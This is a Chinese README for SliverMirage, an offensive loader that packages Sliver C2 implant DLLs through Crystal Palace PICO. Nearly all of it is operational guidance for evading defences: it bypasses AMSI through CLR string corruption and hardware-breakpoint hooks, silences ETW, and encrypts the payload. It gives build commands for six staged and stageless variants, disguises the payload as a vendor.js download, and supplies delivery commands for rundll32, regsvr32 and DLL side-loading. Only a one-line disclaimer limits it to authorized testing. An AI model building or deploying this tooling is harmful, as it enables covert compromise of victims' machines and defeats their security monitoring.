本项目是 CrystalSliver 的一个分支,在 Crystal Palace PICO 加载器的基础上扩展了双层 AMSI 绕过、ETW 静默,以及面向 Sliver C2 的六种投递变体。
SliverMirage 将 Sliver 植入体 DLL 通过 Crystal Palace PICO 虚拟化进行封装,然后通过一个无需修补 amsi.dll 或 ntdll.dll 即可绕过 AMSI 和 ETW 的加载器进行投递。
规避技术栈:
| 层 | 技术 | 详情 |
|---|---|---|
| AMSI L1 | CLR 字符串破坏 | LdrRegisterDllNotification 拦截 clr.dll 加载,在 CLR 调用 GetProcAddress 之前破坏 .rdata 中的 AmsiScanBuffer |
| AMSI L2 | VEH + HWBP | 针对 AmsiScanBuffer 的向量化异常处理程序返回 E_INVALIDARG |
| ETW | HWBP | 在 NtTraceControl 上设置 DR1,并返回 STATUS_SUCCESS |
| 负载 | AES-256-CBC + XOR | 使用 BCrypt 解密,VirtualAlloc(RW) -> VirtualProtect(RX),全程无 RWX |
| 虚拟化 | Crystal Palace PICO | Sliver DLL 在 PICO 进程中运行,对用户态 AV 不可见 |
分阶段变体会在运行时从 Sliver HTTPS 网站下载加密的 PICO。EXE/DLL 体积很小(约 20 KB),磁盘上不携带任何负载。
无阶段变体在编译时将加密的 PICO 嵌入其中(XOR + AES 双层)。磁盘体积更大,但在 beacon 回连之前完全没有任何网络活动。
x86_64-w64-mingw32-gcc(mingw-w64)nasmpefile 的 python3(pip install pefile)opensslbuild.sh 会自动安装)构建脚本会自动安装缺失的依赖(包括 Crystal Palace 和 Java 17),并处理完整流程:DLL -> Crystal Palace PICO -> 加密 -> 编译。
# 分阶段 EXE(默认)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# 无阶段 EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# 无阶段 DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# 分阶段 DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode(分阶段)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode(无阶段)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
选项:
--dll <path> — Sliver 植入体 DLL(必需)--host <ip> — C2 服务器 IP(分阶段格式必需)--port <port> — C2 端口(默认:443)--path <path> — 负载下载的 URL 路径(默认:/assets/js/vendor.js)--format <fmt> — 输出格式(默认:exe)--export <name> — 自定义 DLL 导出名如果你已经有一个 Crystal Palace PICO 数据块:
# 分阶段 EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# 无阶段 EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# 无阶段 DLL
make dll PICO=/path/to/implant.crystal.bin
# 清理所有目标
make clean
将 build/payload.dat 上传到 Sliver HTTPS 网站:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
将 build/csvchelper.exe(或 .dll)投递到目标主机。
单文件投递,无需设置 C2 网站。
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
或者使用 DLL 侧加载(重命名以匹配目标应用程序会加载的合法 DLL)。
导出函数: DllRegisterServer、DllUnregisterServer、StartW、VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32、advapi32、bcrypt —— 均为合法的 Windows APIVirtualProtectWinMain 入口点,-mwindows —— 无控制台窗口闪烁asInvoker 清单,抑制 UAC 启发式检测resource.rc / resource_dll.rc本项目仅供授权的安全测试、研究和教育目的使用。请仅在获得明确书面许可进行渗透测试的环境中使用。未经授权访问计算机系统属于违法行为。作者不对本软件的滥用承担任何责任。
MIT
| 格式 | 文件 | 投递方式 | 运行时是否需要 C2? |
|---|
exe | 分阶段 EXE | EXE + 位于 C2 网站上的 payload.dat | 是(HTTPS) |
exe-stageless | 无阶段 EXE | 单个 EXE | 否 |
dll | 无阶段 DLL | 单个 DLL | 否 |
dll-staged | 分阶段 DLL | DLL + 位于 C2 网站上的 payload.dat | 是(HTTPS) |
shellcode | 分阶段 Shellcode | .bin + payload.dat | 是(HTTPS) |
shellcode-stageless | 无阶段 Shellcode | 单个 .bin | 否 |